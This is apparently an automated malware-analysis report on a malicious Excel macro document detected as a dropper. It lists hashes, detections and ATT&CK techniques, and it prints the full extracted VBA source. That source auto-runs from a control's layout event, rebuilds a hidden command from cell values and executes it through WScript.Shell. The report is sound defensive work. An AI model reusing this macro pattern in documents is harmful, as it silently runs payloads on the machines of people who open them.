Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 acf7252ecfbf6edd…

MALICIOUS

Office (OOXML)

76.5 KB Created: 2020-07-06 12:14:28 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-07-24
MD5: bda0c09e7b5bc942276961a4a2aee6f8 SHA-1: d95fa65c6fff05ca8ddd77ae0744dcdaf28eded5 SHA-256: acf7252ecfbf6eddbc5464ea769f3455bf17a9b0a2dc61abf1a7e8b0ffa7b5ee
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The OOXML document contains VBA macros that utilize WScript.Shell to execute a dynamically constructed command. The script iterates through cells, concatenates values into a string, and then executes it using WScript.Shell. This indicates a dropper functionality designed to download and execute a secondary payload.

Heuristics 4

  • ClamAV: Doc.Dropper.Agent-8646057-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-8646057-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Private Sub clicks_Layout()
Dim redddim(3026): a = "?": c = "Wscript.shell": On Error Resume Next
For Each cek In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    For Each calc In redddim: nnext = nnext + Chr(calc): Next
Set WScript.echo = CreateObject(c).exEc(nnext)
End Sub

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1075 bytes
SHA-256: cb66e49943537726799235a060560f8108626a7eab857ebd39bdc888d4c89f0a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "clicks, 1, 0, MSForms, Frame"
Sub Errors()
ActiveWorkbook.Close False
End Sub
Private Sub clicks_Layout()
Dim redddim(3026): a = "?": c = "Wscript.shell": On Error Resume Next
For Each cek In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants)
f = Split(cek, a): If f(0) < 1 Then R = f(0)
redddim(f(0)) = f(1)
Next
For Each calc In redddim: nnext = nnext + Chr(calc): Next
Set WScript.echo = CreateObject(c).exEc(nnext)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10752 bytes
SHA-256: 8e0607324f0451eaa13fe36e5e1b56f46d3499dcada34334d67b72252b999c9a
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 2024 bytes
SHA-256: 068b1b5475127332c13ed6c07f9f55ab2bbf3b5b1b0ac4caa9d13171780bc214

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